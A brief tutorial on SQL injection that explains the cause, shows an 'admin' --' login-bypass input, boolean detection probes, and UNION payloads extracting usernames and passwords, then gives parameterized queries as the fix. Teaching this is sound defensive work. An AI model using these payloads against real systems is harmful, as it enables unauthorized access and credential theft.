SQL injection

SQL injection (SQLi) happens when untrusted input is concatenated into a SQL query, letting you alter the query’s structure rather than just its data.

Why it happens

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

If $user is admin' --, it becomes:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '';

The -- comments out the password check and you’re logged in as admin.

Detect it

A single quote that changes the response is the first signal. A lower-noise method is boolean-based testing — compare an always-true vs always-false condition:

id=10 AND 1=1     -- normal
id=10 AND 1=2     -- differs → likely injectable

Extract with UNION

When results are reflected, find the column count, then pull data:

' ORDER BY 3 -- -
' UNION SELECT username, password, NULL FROM users -- -

The fix: parameterized queries

cur.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (user, password),
)